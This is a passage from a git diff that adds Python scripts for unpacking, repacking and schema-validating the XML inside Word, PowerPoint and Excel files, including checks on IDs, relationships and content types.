False if validation failed + """ + input_dir = Path(input_dir) + output_file = Path(output_file) + + if not input_dir.is_dir(): + raise ValueError(f"{input_dir} is not a directory") + if output_file.suffix.lower() not in {".docx", ".pptx", ".xlsx"}: + raise ValueError(f"{output_file} must be a .docx, .pptx, or .xlsx file") + + # Work in temporary directory to avoid modifying original + with tempfile.TemporaryDirectory() as temp_dir: + temp_content_dir = Path(temp_dir) / "content" + shutil.copytree(input_dir, temp_content_dir) + + # Process XML files to remove pretty-printing whitespace + for pattern in ["*.xml", "*.rels"]: + for xml_file in temp_content_dir.rglob(pattern): + condense_xml(xml_file) + + # Create final Office file as zip archive + output_file.parent.mkdir(parents=True, exist_ok=True) + with zipfile.ZipFile(output_file, "w", zipfile.ZIP_DEFLATED) as zf: + for f in temp_content_dir.rglob("*"): + if f.is_file(): + zf.write(f, f.relative_to(temp_content_dir)) + + # Validate if requested + if validate: + if not validate_document(output_file): + output_file.unlink() # Delete the corrupt file + return False + + return True + + +def validate_document(doc_path): + """Validate document by converting to HTML with soffice.""" + # Determine the correct filter based on file extension + match doc_path.suffix.lower(): + case ".docx": + filter_name = "html:HTML" + case ".pptx": + filter_name = "html:impress_html_Export" + case ".xlsx": + filter_name = "html:HTML (StarCalc)" + + with tempfile.TemporaryDirectory() as temp_dir: + try: + result = subprocess.run( + [ + "soffice", + "--headless", + "--convert-to", + filter_name, + "--outdir", + temp_dir, + str(doc_path), + ], + capture_output=True, + timeout=10, + text=True, + ) + if not (Path(temp_dir) / f"{doc_path.stem}.html").exists(): + error_msg = result.stderr.strip() or "Document validation failed" + print(f"Validation error: {error_msg}", file=sys.stderr) + return False + return True + except FileNotFoundError: + print("Warning: soffice not found. Skipping validation.", file=sys.stderr) + return True + except subprocess.TimeoutExpired: + print("Validation error: Timeout during conversion", file=sys.stderr) + return False + except Exception as e: + print(f"Validation error: {e}", file=sys.stderr) + return False + + +def condense_xml(xml_file): + """Strip unnecessary whitespace and remove comments.""" + with open(xml_file, "r", encoding="utf-8") as f: + dom = defusedxml.minidom.parse(f) + + # Process each element to remove whitespace and comments + for element in dom.getElementsByTagName("*"): + # Skip w:t elements and their processing + if element.tagName.endswith(":t"): + continue + + # Remove whitespace-only text nodes and comment nodes + for child in list(element.childNodes): + if ( + child.nodeType == child.TEXT_NODE + and child.nodeValue + and child.nodeValue.strip() == "" + ) or child.nodeType == child.COMMENT_NODE: + element.removeChild(child) + + # Write back the condensed XML + with open(xml_file, "wb") as f: + f.write(dom.toxml(encoding="UTF-8")) + + +if __name__ == "__main__": + main() diff --git a/skills/docx/ooxml/scripts/unpack.py b/skills/docx/ooxml/scripts/unpack.py new file mode 100755 index 00000000..49387988 --- /dev/null +++ b/skills/docx/ooxml/scripts/unpack.py @@ -0,0 +1,29 @@ +#!/usr/bin/env python3 +"""Unpack and format XML contents of Office files (.docx, .pptx, .xlsx)""" + +import random +import sys +import defusedxml.minidom +import zipfile +from pathlib import Path + +# Get command line arguments +assert len(sys.argv) == 3, "Usage: python unpack.py " +input_file, output_dir = sys.argv[1], sys.argv[2] + +# Extract and format +output_path = Path(output_dir) +output_path.mkdir(parents=True, exist_ok=True) +zipfile.ZipFile(input_file).extractall(output_path) + +# Pretty print all XML files +xml_files = list(output_path.rglob("*.xml")) + list(output_path.rglob("*.rels")) +for xml_file in xml_files: + content = xml_file.read_text(encoding="utf-8") + dom = defusedxml.minidom.parseString(content) + xml_file.write_bytes(dom.toprettyxml(indent=" ", encoding="ascii")) + +# For .docx files, suggest an RSID for tracked changes +if input_file.endswith(".docx"): + suggested_rsid = "".join(random.choices("0123456789ABCDEF", k=8)) + print(f"Suggested RSID for edit session: {suggested_rsid}") diff --git a/skills/docx/ooxml/scripts/validate.py b/skills/docx/ooxml/scripts/validate.py new file mode 100755 index 00000000..508c5891 --- /dev/null +++ b/skills/docx/ooxml/scripts/validate.py @@ -0,0 +1,69 @@ +#!/usr/bin/env python3 +""" +Command line tool to validate Office document XML files against XSD schemas and tracked changes. + +Usage: + python validate.py --original +""" + +import argparse +import sys +from pathlib import Path + +from validation import DOCXSchemaValidator, PPTXSchemaValidator, RedliningValidator + + +def main(): + parser = argparse.ArgumentParser(description="Validate Office document XML files") + parser.add_argument( + "unpacked_dir", + help="Path to unpacked Office document directory", + ) + parser.add_argument( + "--original", + required=True, + help="Path to original file (.docx/.pptx/.xlsx)", + ) + parser.add_argument( + "-v", + "--verbose", + action="store_true", + help="Enable verbose output", + ) + args = parser.parse_args() + + # Validate paths + unpacked_dir = Path(args.unpacked_dir) + original_file = Path(args.original) + file_extension = original_file.suffix.lower() + assert unpacked_dir.is_dir(), f"Error: {unpacked_dir} is not a directory" + assert original_file.is_file(), f"Error: {original_file} is not a file" + assert file_extension in [".docx", ".pptx", ".xlsx"], ( + f"Error: {original_file} must be a .docx, .pptx, or .xlsx file" + ) + + # Run validations + match file_extension: + case ".docx": + validators = [DOCXSchemaValidator, RedliningValidator] + case ".pptx": + validators = [PPTXSchemaValidator] + case _: + print(f"Error: Validation not supported for file type {file_extension}") + sys.exit(1) + + # Run validators + success = True + for V in validators: + validator = V(unpacked_dir, original_file, verbose=args.verbose) + if not validator.validate(): + success = False + + if success: + print("All validations PASSED!") + + sys.exit(0 if success else 1) + + +if __name__ == "__main__": + main() diff --git a/skills/docx/ooxml/scripts/validation/__init__.py b/skills/docx/ooxml/scripts/validation/__init__.py new file mode 100644 index 00000000..db092ece --- /dev/null +++ b/skills/docx/ooxml/scripts/validation/__init__.py @@ -0,0 +1,15 @@ +""" +Validation modules for Word document processing. +""" + +from .base import BaseSchemaValidator +from .docx import DOCXSchemaValidator +from .pptx import PPTXSchemaValidator +from .redlining import RedliningValidator + +__all__ = [ + "BaseSchemaValidator", + "DOCXSchemaValidator", + "PPTXSchemaValidator", + "RedliningValidator", +] diff --git a/skills/docx/ooxml/scripts/validation/base.py b/skills/docx/ooxml/scripts/validation/base.py new file mode 100644 index 00000000..0681b199 --- /dev/null +++ b/skills/docx/ooxml/scripts/validation/base.py @@ -0,0 +1,951 @@ +""" +Base validator with common validation logic for document files. +""" + +import re +from pathlib import Path + +import lxml.etree + + +class BaseSchemaValidator: + """Base validator with common validation logic for document files.""" + + # Elements whose 'id' attributes must be unique within their file + # Format: element_name -> (attribute_name, scope) + # scope can be 'file' (unique within file) or 'global' (unique across all files) + UNIQUE_ID_REQUIREMENTS = { + # Word elements + "comment": ("id", "file"), # Comment IDs in comments.xml + "commentrangestart": ("id", "file"), # Must match comment IDs + "commentrangeend": ("id", "file"), # Must match comment IDs + "bookmarkstart": ("id", "file"), # Bookmark start IDs + "bookmarkend": ("id", "file"), # Bookmark end IDs + # Note: ins and del (track changes) can share IDs when part of same revision + # PowerPoint elements + "sldid": ("id", "file"), # Slide IDs in presentation.xml + "sldmasterid": ("id", "global"), # Slide master IDs must be globally unique + "sldlayoutid": ("id", "global"), # Slide layout IDs must be globally unique + "cm": ("authorid", "file"), # Comment author IDs + # Excel elements + "sheet": ("sheetid", "file"), # Sheet IDs in workbook.xml + "definedname": ("id", "file"), # Named range IDs + # Drawing/Shape elements (all formats) + "cxnsp": ("id", "file"), # Connection shape IDs + "sp": ("id", "file"), # Shape IDs + "pic": ("id", "file"), # Picture IDs + "grpsp": ("id", "file"), # Group shape IDs + } + + # Mapping of element names to expected relationship types + # Subclasses should override this with format-specific mappings + ELEMENT_RELATIONSHIP_TYPES = {} + + # Unified schema mappings for all Office document types + SCHEMA_MAPPINGS = { + # Document type specific schemas + "word": "ISO-IEC29500-4_2016/wml.xsd", # Word documents + "ppt": "ISO-IEC29500-4_2016/pml.xsd", # PowerPoint presentations + "xl": "ISO-IEC29500-4_2016/sml.xsd", # Excel spreadsheets + # Common file types + "[Content_Types].xml": "ecma/fouth-edition/opc-contentTypes.xsd", + "app.xml": "ISO-IEC29500-4_2016/shared-documentPropertiesExtended.xsd", + "core.xml": "ecma/fouth-edition/opc-coreProperties.xsd", + "custom.xml": "ISO-IEC29500-4_2016/shared-documentPropertiesCustom.xsd", + ".rels": "ecma/fouth-edition/opc-relationships.xsd", + # Word-specific files + "people.xml": "microsoft/wml-2012.xsd", + "commentsIds.xml": "microsoft/wml-cid-2016.xsd", + "commentsExtensible.xml": "microsoft/wml-cex-2018.xsd", + "commentsExtended.xml": "microsoft/wml-2012.xsd", + # Chart files (common across document types) + "chart": "ISO-IEC29500-4_2016/dml-chart.xsd", + # Theme files (common across document types) + "theme": "ISO-IEC29500-4_2016/dml-main.xsd", + # Drawing and media files + "drawing": "ISO-IEC29500-4_2016/dml-main.xsd", + } + + # Unified namespace constants + MC_NAMESPACE = "http://schemas.openxmlformats.org/markup-compatibility/2006" + XML_NAMESPACE = "http://www.w3.org/XML/1998/namespace" + + # Common OOXML namespaces used across validators + PACKAGE_RELATIONSHIPS_NAMESPACE = ( + "http://schemas.openxmlformats.org/package/2006/relationships" + ) + OFFICE_RELATIONSHIPS_NAMESPACE = ( + "http://schemas.openxmlformats.org/officeDocument/2006/relationships" + ) + CONTENT_TYPES_NAMESPACE = ( + "http://schemas.openxmlformats.org/package/2006/content-types" + ) + + # Folders where we should clean ignorable namespaces + MAIN_CONTENT_FOLDERS = {"word", "ppt", "xl"} + + # All allowed OOXML namespaces (superset of all document types) + OOXML_NAMESPACES = { + "http://schemas.openxmlformats.org/officeDocument/2006/math", + "http://schemas.openxmlformats.org/officeDocument/2006/relationships", + "http://schemas.openxmlformats.org/schemaLibrary/2006/main", + "http://schemas.openxmlformats.org/drawingml/2006/main", + "http://schemas.openxmlformats.org/drawingml/2006/chart", + "http://schemas.openxmlformats.org/drawingml/2006/chartDrawing", + "http://schemas.openxmlformats.org/drawingml/2006/diagram", + "http://schemas.openxmlformats.org/drawingml/2006/picture", + "http://schemas.openxmlformats.org/drawingml/2006/spreadsheetDrawing", + "http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawing", + "http://schemas.openxmlformats.org/wordprocessingml/2006/main", + "http://schemas.openxmlformats.org/presentationml/2006/main", + "http://schemas.openxmlformats.org/spreadsheetml/2006/main", + "http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes", + "http://www.w3.org/XML/1998/namespace", + } + + def __init__(self, unpacked_dir, original_file, verbose=False): + self.unpacked_dir = Path(unpacked_dir).resolve() + self.original_file = Path(original_file) + self.verbose = verbose + + # Set schemas directory + self.schemas_dir = Path(__file__).parent.parent.parent / "schemas" + + # Get all XML and .rels files + patterns = ["*.xml", "*.rels"] + self.xml_files = [ + f for pattern in patterns for f in self.unpacked_dir.rglob(pattern) + ] + + if not self.xml_files: + print(f"Warning: No XML files found in {self.unpacked_dir}") + + def validate(self): + """Run all validation checks and return True if all pass.""" + raise NotImplementedError("Subclasses must implement the validate method") + + def validate_xml(self): + """Validate that all XML files are well-formed.""" + errors = [] + + for xml_file in self.xml_files: + try: + # Try to parse the XML file + lxml.etree.parse(str(xml_file)) + except lxml.etree.XMLSyntaxError as e: + errors.append( + f" {xml_file.relative_to(self.unpacked_dir)}: " + f"Line {e.lineno}: {e.msg}" + ) + except Exception as e: + errors.append( + f" {xml_file.relative_to(self.unpacked_dir)}: " + f"Unexpected error: {str(e)}" + ) + + if errors: + print(f"FAILED - Found {len(errors)} XML violations:") + for error in errors: + print(error) + return False + else: + if self.verbose: + print("PASSED - All XML files are well-formed") + return True + + def validate_namespaces(self): + """Validate that namespace prefixes in Ignorable attributes are declared.""" + errors = [] + + for xml_file in self.xml_files: + try: + root = lxml.etree.parse(str(xml_file)).getroot() + declared = set(root.nsmap.keys()) - {None} # Exclude default namespace + + for attr_val in [ + v for k, v in root.attrib.items() if k.endswith("Ignorable") + ]: + undeclared = set(attr_val.split()) - declared + errors.extend( + f" {xml_file.relative_to(self.unpacked_dir)}: " + f"Namespace '{ns}' in Ignorable but not declared" + for ns in undeclared + ) + except lxml.etree.XMLSyntaxError: + continue + + if errors: + print(f"FAILED - {len(errors)} namespace issues:") + for error in errors: + print(error) + return False + if self.verbose: + print("PASSED - All namespace prefixes properly declared") + return True + + def validate_unique_ids(self): + """Validate that specific IDs are unique according to OOXML requirements.""" + errors = [] + global_ids = {} # Track globally unique IDs across all files + + for xml_file in self.xml_files: + try: + root = lxml.etree.parse(str(xml_file)).getroot() + file_ids = {} # Track IDs that must be unique within this file + + # Remove all mc:AlternateContent elements from the tree + mc_elements = root.xpath( + ".//mc:AlternateContent", namespaces={"mc": self.MC_NAMESPACE} + ) + for elem in mc_elements: + elem.getparent().remove(elem) + + # Now check IDs in the cleaned tree + for elem in root.iter(): + # Get the element name without namespace + tag = ( + elem.tag.split("}")[-1].lower() + if "}" in elem.tag + else elem.tag.lower() + ) + + # Check if this element type has ID uniqueness requirements + if tag in self.UNIQUE_ID_REQUIREMENTS: + attr_name, scope = self.UNIQUE_ID_REQUIREMENTS[tag] + + # Look for the specified attribute + id_value = None + for attr, value in elem.attrib.items(): + attr_local = ( + attr.split("}")[-1].lower() + if "}" in attr + else attr.lower() + ) + if attr_local == attr_name: + id_value = value + break + + if id_value is not None: + if scope == "global": + # Check global uniqueness + if id_value in global_ids: + prev_file, prev_line, prev_tag = global_ids[ + id_value + ] + errors.append( + f" {xml_file.relative_to(self.unpacked_dir)}: " + f"Line {elem.sourceline}: Global ID '{id_value}' in <{tag}> " + f"already used in {prev_file} at line {prev_line} in <{prev_tag}>" + ) + else: + global_ids[id_value] = ( + xml_file.relative_to(self.unpacked_dir), + elem.sourceline, + tag, + ) + elif scope == "file": + # Check file-level uniqueness + key = (tag, attr_name) + if key not in file_ids: + file_ids[key] = {} + + if id_value in file_ids[key]: + prev_line = file_ids[key][id_value] + errors.append( + f" {xml_file.relative_to(self.unpacked_dir)}: " + f"Line {elem.sourceline}: Duplicate {attr_name}='{id_value}' in <{tag}> " + f"(first occurrence at line {prev_line})" + ) + else: + file_ids[key][id_value] = elem.sourceline + + except (lxml.etree.XMLSyntaxError, Exception) as e: + errors.append( + f" {xml_file.relative_to(self.unpacked_dir)}: Error: {e}" + ) + + if errors: + print(f"FAILED - Found {len(errors)} ID uniqueness violations:") + for error in errors: + print(error) + return False + else: + if self.verbose: + print("PASSED - All required IDs are unique") + return True + + def validate_file_references(self): + """ + Validate that all .rels files properly reference files and that all files are referenced. + """ + errors = [] + + # Find all .rels files + rels_files = list(self.unpacked_dir.rglob("*.rels")) + + if not rels_files: + if self.verbose: + print("PASSED - No .rels files found") + return True + + # Get all files in the unpacked directory (excluding reference files) + all_files = [] + for file_path in self.unpacked_dir.rglob("*"): + if ( + file_path.is_file() + and file_path.name != "[Content_Types].xml" + and not file_path.name.endswith(".rels") + ): # This file is not referenced by .rels + all_files.append(file_path.resolve()) + + # Track all files that are referenced by any .rels file + all_referenced_files = set() + + if self.verbose: + print( + f"Found {len(rels_files)} .rels files and {len(all_files)} target files" + ) + + # Check each .rels file + for rels_file in rels_files: + try: + # Parse relationships file + rels_root = lxml.etree.parse(str(rels_file)).getroot() + + # Get the directory where this .rels file is located + rels_dir = rels_file.parent + + # Find all relationships and their targets + referenced_files = set() + broken_refs = [] + + for rel in rels_root.findall( + ".//ns:Relationship", + namespaces={"ns": self.PACKAGE_RELATIONSHIPS_NAMESPACE}, + ): + target = rel.get("Target") + if target and not target.startswith( + ("http", "mailto:") + ): # Skip external URLs + # Resolve the target path relative to the .rels file location + if rels_file.name == ".rels": + # Root .rels file - targets are relative to unpacked_dir + target_path = self.unpacked_dir / target + else: + # Other .rels files - targets are relative to their parent's parent + # e.g., word/_rels/document.xml.rels -> targets relative to word/ + base_dir = rels_dir.parent + target_path = base_dir / target + + # Normalize the path and check if it exists + try: + target_path = target_path.resolve() + if target_path.exists() and target_path.is_file(): + referenced_files.add(target_path) + all_referenced_files.add(target_path) + else: + broken_refs.append((target, rel.sourceline)) + except (OSError, ValueError): + broken_refs.append((target, rel.sourceline)) + + # Report broken references + if broken_refs: + rel_path = rels_file.relative_to(self.unpacked_dir) + for broken_ref, line_num in broken_refs: + errors.append( + f" {rel_path}: Line {line_num}: Broken reference to {broken_ref}" + ) + + except Exception as e: + rel_path = rels_file.relative_to(self.unpacked_dir) + errors.append(f" Error parsing {rel_path}: {e}") + + # Check for unreferenced files (files that exist but are not referenced anywhere) + unreferenced_files = set(all_files) - all_referenced_files + + if unreferenced_files: + for unref_file in sorted(unreferenced_files): + unref_rel_path = unref_file.relative_to(self.unpacked_dir) + errors.append(f" Unreferenced file: {unref_rel_path}") + + if errors: + print(f"FAILED - Found {len(errors)} relationship validation errors:") + for error in errors: + print(error) + print( + "CRITICAL: These errors will cause the document to appear corrupt. " + + "Broken references MUST be fixed, " + + "and unreferenced files MUST be referenced or removed." + ) + return False + else: + if self.verbose: + print( + "PASSED - All references are valid and all files are properly referenced" + ) + return True + + def validate_all_relationship_ids(self): + """ + Validate that all r:id attributes in XML files reference existing IDs + in their corresponding .rels files, and optionally validate relationship types. + """ + import lxml.etree + + errors = [] + + # Process each XML file that might contain r:id references + for xml_file in self.xml_files: + # Skip .rels files themselves + if xml_file.suffix == ".rels": + continue + + # Determine the corresponding .rels file + # For dir/file.xml, it's dir/_rels/file.xml.rels + rels_dir = xml_file.parent / "_rels" + rels_file = rels_dir / f"{xml_file.name}.rels" + + # Skip if there's no corresponding .rels file (that's okay) + if not rels_file.exists(): + continue + + try: + # Parse the .rels file to get valid relationship IDs and their types + rels_root = lxml.etree.parse(str(rels_file)).getroot() + rid_to_type = {} + + for rel in rels_root.findall( + f".//{{{self.PACKAGE_RELATIONSHIPS_NAMESPACE}}}Relationship" + ): + rid = rel.get("Id") + rel_type = rel.get("Type", "") + if rid: + # Check for duplicate rIds + if rid in rid_to_type: + rels_rel_path = rels_file.relative_to(self.unpacked_dir) + errors.append( + f" {rels_rel_path}: Line {rel.sourceline}: " + f"Duplicate relationship ID '{rid}' (IDs must be unique)" + ) + # Extract just the type name from the full URL + type_name = ( + rel_type.split("/")[-1] if "/" in rel_type else rel_type + ) + rid_to_type[rid] = type_name + + # Parse the XML file to find all r:id references + xml_root = lxml.etree.parse(str(xml_file)).getroot() + + # Find all elements with r:id attributes + for elem in xml_root.iter(): + # Check for r:id attribute (relationship ID) + rid_attr = elem.get(f"{{{self.OFFICE_RELATIONSHIPS_NAMESPACE}}}id") + if rid_attr: + xml_rel_path = xml_file.relative_to(self.unpacked_dir) + elem_name = ( + elem.tag.split("}")[-1] if "}" in elem.tag else elem.tag + ) + + # Check if the ID exists + if rid_attr not in rid_to_type: + errors.append( + f" {xml_rel_path}: Line {elem.sourceline}: " + f"<{elem_name}> references non-existent relationship '{rid_attr}' " + f"(valid IDs: {', '.join(sorted(rid_to_type.keys())[:5])}{'...' if len(rid_to_type) > 5 else ''})" + ) + # Check if we have type expectations for this element + elif self.ELEMENT_RELATIONSHIP_TYPES: + expected_type = self._get_expected_relationship_type( + elem_name + ) + if expected_type: + actual_type = rid_to_type[rid_attr] + # Check if the actual type matches or contains the expected type + if expected_type not in actual_type.lower(): + errors.append( + f" {xml_rel_path}: Line {elem.sourceline}: " + f"<{elem_name}> references '{rid_attr}' which points to '{actual_type}' " + f"but should point to a '{expected_type}' relationship" + ) + + except Exception as e: + xml_rel_path = xml_file.relative_to(self.unpacked_dir) + errors.append(f" Error processing {xml_rel_path}: {e}") + + if errors: + print(f"FAILED - Found {len(errors)} relationship ID reference errors:") + for error in errors: + print(error) + print("\nThese ID mismatches will cause the document to appear corrupt!") + return False + else: + if self.verbose: + print("PASSED - All relationship ID references are valid") + return True + + def _get_expected_relationship_type(self, element_name): + """ + Get the expected relationship type for an element. + First checks the explicit mapping, then tries pattern detection. + """ + # Normalize element name to lowercase + elem_lower = element_name.lower() + + # Check explicit mapping first + if elem_lower in self.ELEMENT_RELATIONSHIP_TYPES: + return self.ELEMENT_RELATIONSHIP_TYPES[elem_lower] + + # Try pattern detection for common patterns + # Pattern 1: Elements ending in "Id" often expect a relationship of the prefix type + if elem_lower.endswith("id") and len(elem_lower) > 2: + # e.g., "sldId" -> "sld", "sldMasterId" -> "sldMaster" + prefix = elem_lower[:-2] # Remove "id" + # Check if this might be a compound like "sldMasterId" + if prefix.endswith("master"): + return prefix.lower() + elif prefix.endswith("layout"): + return prefix.lower() + else: + # Simple case like "sldId" -> "slide" + # Common transformations + if prefix == "sld": + return "slide" + return prefix.lower() + + # Pattern 2: Elements ending in "Reference" expect a relationship of the prefix type + if elem_lower.endswith("reference") and len(elem_lower) > 9: + prefix = elem_lower[:-9] # Remove "reference" + return prefix.lower() + + return None + + def validate_content_types(self): + """Validate that all content files are properly declared in [Content_Types].xml.""" + errors = [] + + # Find [Content_Types].xml file + content_types_file = self.unpacked_dir / "[Content_Types].xml" + if not content_types_file.exists(): + print("FAILED - [Content_Types].xml file not found") + return False + + try: + # Parse and get all declared parts and extensions + root = lxml.etree.parse(str(content_types_file)).getroot() + declared_parts = set() + declared_extensions = set() + + # Get Override declarations (specific files) + for override in root.findall( + f".//{{{self.CONTENT_TYPES_NAMESPACE}}}Override" + ): + part_name = override.get("PartName") + if part_name is not None: + declared_parts.add(part_name.lstrip("/")) + + # Get Default declarations (by extension) + for default in root.findall( + f".//{{{self.CONTENT_TYPES_NAMESPACE}}}Default" + ): + extension = default.get("Extension") + if extension is not None: + declared_extensions.add(extension.lower()) + + # Root elements that require content type declaration + declarable_roots = { + "sld", + "sldLayout", + "sldMaster", + "presentation", # PowerPoint + "document", # Word + "workbook", + "worksheet", # Excel + "theme", # Common + } + + # Common media file extensions that should be declared + media_extensions = { + "png": "image/png", + "jpg": "image/jpeg", + "jpeg": "image/jpeg", + "gif": "image/gif", + "bmp": "image/bmp", + "tiff": "image/tiff", + "wmf": "image/x-wmf", + "emf": "image/x-emf", + } + + # Get all files in the unpacked directory + all_files = list(self.unpacked_dir.rglob("*")) + all_files = [f for f in all_files if f.is_file()] + + # Check all XML files for Override declarations + for xml_file in self.xml_files: + path_str = str(xml_file.relative_to(self.unpacked_dir)).replace( + "\\", "/" + ) + + # Skip non-content files + if any( + skip in path_str + for skip in [".rels", "[Content_Types]", "docProps/", "_rels/"] + ): + continue + + try: + root_tag = lxml.etree.parse(str(xml_file)).getroot().tag + root_name = root_tag.split("}")[-1] if "}" in root_tag else root_tag + + if root_name in declarable_roots and path_str not in declared_parts: + errors.append( + f" {path_str}: File with <{root_name}> root not declared in [Content_Types].xml" + ) + + except Exception: + continue # Skip unparseable files + + # Check all non-XML files for Default extension declarations + for file_path in all_files: + # Skip XML files and metadata files (already checked above) + if file_path.suffix.lower() in {".xml", ".rels"}: + continue + if file_path.name == "[Content_Types].xml": + continue + if "_rels" in file_path.parts or "docProps" in file_path.parts: + continue + + extension = file_path.suffix.lstrip(".").lower() + if extension and extension not in declared_extensions: + # Check if it's a known media extension that should be declared + if extension in media_extensions: + relative_path = file_path.relative_to(self.unpacked_dir) + errors.append( + f' {relative_path}: File with extension \'{extension}\' not declared in [Content_Types].xml - should add: ' + ) + + except Exception as e: + errors.append(f" Error parsing [Content_Types].xml: {e}") + + if errors: + print(f"FAILED - Found {len(errors)} content type declaration errors:") + for error in errors: + print(error) + return False + else: + if self.verbose: + print( + "PASSED - All content files are properly declared in [Content_Types].xml" + ) + return True + + def validate_file_against_xsd(self, xml_file, verbose=False): + """Validate a single XML file against XSD schema, comparing with original. + + Args: + xml_file: Path to XML file to validate + verbose: Enable verbose output + + Returns: + tuple: (is_valid, new_errors_set) where is_valid is True/False/None (skipped) + """ + # Resolve both paths to handle symlinks + xml_file = Path(xml_file).resolve() + unpacked_dir = self.unpacked_dir.resolve() + + # Validate current file + is_valid, current_errors = self._validate_single_file_xsd( + xml_file, unpacked_dir + ) + + if is_valid is None: + return None, set() # Skipped + elif is_valid: + return True, set() # Valid, no errors + + # Get errors from original file for this specific file + original_errors = self._get_original_file_errors(xml_file) + + # Compare with original (both are guaranteed to be sets here) + assert current_errors is not None + new_errors = current_errors - original_errors + + if new_errors: + if verbose: + relative_path = xml_file.relative_to(unpacked_dir) + print(f"FAILED - {relative_path}: {len(new_errors)} new error(s)") + for error in list(new_errors)[:3]: + truncated = error[:250] + "..." if len(error) > 250 else error + print(f" - {truncated}") + return False, new_errors + else: + # All errors existed in original + if verbose: + print( + f"PASSED - No new errors (original had {len(current_errors)} errors)" + ) + return True, set() + + def validate_against_xsd(self): + """Validate XML files against XSD schemas, showing only new errors compared to original.""" + new_errors = [] + original_error_count = 0 + valid_count = 0 + skipped_count = 0 + + for xml_file in self.xml_files: + relative_path = str(xml_file.relative_to(self.unpacked_dir)) + is_valid, new_file_errors = self.validate_file_against_xsd( + xml_file, verbose=False + ) + + if is_valid is None: + skipped_count += 1 + continue + elif is_valid and not new_file_errors: + valid_count += 1 + continue + elif is_valid: + # Had errors but all existed in original + original_error_count += 1 + valid_count += 1 + continue + + # Has new errors + new_errors.append(f" {relative_path}: {len(new_file_errors)} new error(s)") + for error in list(new_file_errors)[:3]: # Show first 3 errors + new_errors.append( + f" - {error[:250]}..." if len(error) > 250 else f" - {error}" + ) + + # Print summary + if self.verbose: + print(f"Validated {len(self.xml_files)} files:") + print(f" - Valid: {valid_count}") + print(f" - Skipped (no schema): {skipped_count}") + if original_error_count: + print(f" - With original errors (ignored): {original_error_count}") + print( + f" - With NEW errors: {len(new_errors) > 0 and len([e for e in new_errors if not e.startswith(' ')]) or 0}" + ) + + if new_errors: + print("\nFAILED - Found NEW validation errors:") + for error in new_errors: + print(error) + return False + else: + if self.verbose: + print("\nPASSED - No new XSD validation errors introduced") + return True + + def _get_schema_path(self, xml_file): + """Determine the appropriate schema path for an XML file.""" + # Check exact filename match + if xml_file.name in self.SCHEMA_MAPPINGS: + return self.schemas_dir / self.SCHEMA_MAPPINGS[xml_file.name] + + # Check .rels files + if xml_file.suffix == ".rels": + return self.schemas_dir / self.SCHEMA_MAPPINGS[".rels"] + + # Check chart files + if "charts/" in str(xml_file) and xml_file.name.startswith("chart"): + return self.schemas_dir / self.SCHEMA_MAPPINGS["chart"] + + # Check theme files + if "theme/" in str(xml_file) and xml_file.name.startswith("theme"): + return self.schemas_dir / self.SCHEMA_MAPPINGS["theme"] + + # Check if file is in a main content folder and use appropriate schema + if xml_file.parent.name in self.MAIN_CONTENT_FOLDERS: + return self.schemas_dir / self.SCHEMA_MAPPINGS[xml_file.parent.name] + + return None + + def _clean_ignorable_namespaces(self, xml_doc): + """Remove attributes and elements not in allowed namespaces.""" + # Create a clean copy + xml_string = lxml.etree.tostring(xml_doc, encoding="unicode") + xml_copy = lxml.etree.fromstring(xml_string) + + # Remove attributes not in allowed namespaces + for elem in xml_copy.iter(): + attrs_to_remove = [] + + for attr in elem.attrib: + # Check if attribute is from a namespace other than allowed ones + if "{" in attr: + ns = attr.split("}")[0][1:] + if ns not in self.OOXML_NAMESPACES: + attrs_to_remove.append(attr) + + # Remove collected attributes + for attr in attrs_to_remove: + del elem.attrib[attr] + + # Remove elements not in allowed namespaces + self._remove_ignorable_elements(xml_copy) + + return lxml.etree.ElementTree(xml_copy) + + def _remove_ignorable_elements(self, root): + """Recursively remove all elements not in allowed namespaces.""" + elements_to_remove = [] + + # Find elements to remove + for elem in list(root): + # Skip non-element nodes (comments, processing instructions, etc.) + if not hasattr(elem, "tag") or callable(elem.tag): + continue + + tag_str = str(elem.tag) + if tag_str.startswith("{"): + ns = tag_str.split("}")[0][1:] + if ns not in self.OOXML_NAMESPACES: + elements_to_remove.append(elem) + continue + + # Recursively clean child elements + self._remove_ignorable_elements(elem) + + # Remove collected elements + for elem in elements_to_remove: + root.remove(elem) + + def _preprocess_for_mc_ignorable(self, xml_doc): + """Preprocess XML to handle mc:Ignorable attribute properly.""" + # Remove mc:Ignorable attributes before validation + root = xml_doc.getroot() + + # Remove mc:Ignorable attribute from root + if f"{{{self.MC_NAMESPACE}}}Ignorable" in root.attrib: + del root.attrib[f"{{{self.MC_NAMESPACE}}}Ignorable"] + + return xml_doc + + def _validate_single_file_xsd(self, xml_file, base_path): + """Validate a single XML file against XSD schema. Returns (is_valid, errors_set).""" + schema_path = self._get_schema_path(xml_file) + if not schema_path: + return None, None # Skip file + + try: + # Load schema + with open(schema_path, "rb") as xsd_file: + parser = lxml.etree.XMLParser() + xsd_doc = lxml.etree.parse( + xsd_file, parser=parser, base_url=str(schema_path) + ) + schema = lxml.etree.XMLSchema(xsd_doc) + + # Load and preprocess XML + with open(xml_file, "r") as f: + xml_doc = lxml.etree.parse(f) + + xml_doc, _ = self._remove_template_tags_from_text_nodes(xml_doc) + xml_doc = self._preprocess_for_mc_ignorable(xml_doc) + + # Clean ignorable namespaces if needed + relative_path = xml_file.relative_to(base_path) + if ( + relative_path.parts + and relative_path.parts[0] in self.MAIN_CONTENT_FOLDERS + ): + xml_doc = self._clean_ignorable_namespaces(xml_doc) + + # Validate + if schema.validate(xml_doc): + return True, set() + else: + errors = set() + for error in schema.error_log: + # Store normalized error message (without line numbers for comparison) + errors.add(error.message) + return False, errors + + except Exception as e: + return False, {str(e)} + + def _get_original_file_errors(self, xml_file): + """Get XSD validation errors from a single file in the original document. + + Args: + xml_file: Path to the XML file in unpacked_dir to check + + Returns: + set: Set of error messages from the original file + """ + import tempfile + import zipfile + + # Resolve both paths to handle symlinks (e.g., /var vs /private/var on macOS) + xml_file = Path(xml_file).resolve() + unpacked_dir = self.unpacked_dir.resolve() + relative_path = xml_file.relative_to(unpacked_dir) + + with tempfile.TemporaryDirectory() as temp_dir: + temp_path = Path(temp_dir) + + # Extract original file + with zipfile.ZipFile(self.original_file, "r") as zip_ref: + zip_ref.extractall(temp_path) + + # Find corresponding file in original + original_xml_file = temp_path / relative_path + + if not original_xml_file.exists(): + # File didn't exist in original, so no original errors + return set() + + # Validate the specific file in original + is_valid, errors = self._validate_single_file_xsd( + original_xml_file, temp_path + ) + return errors if errors 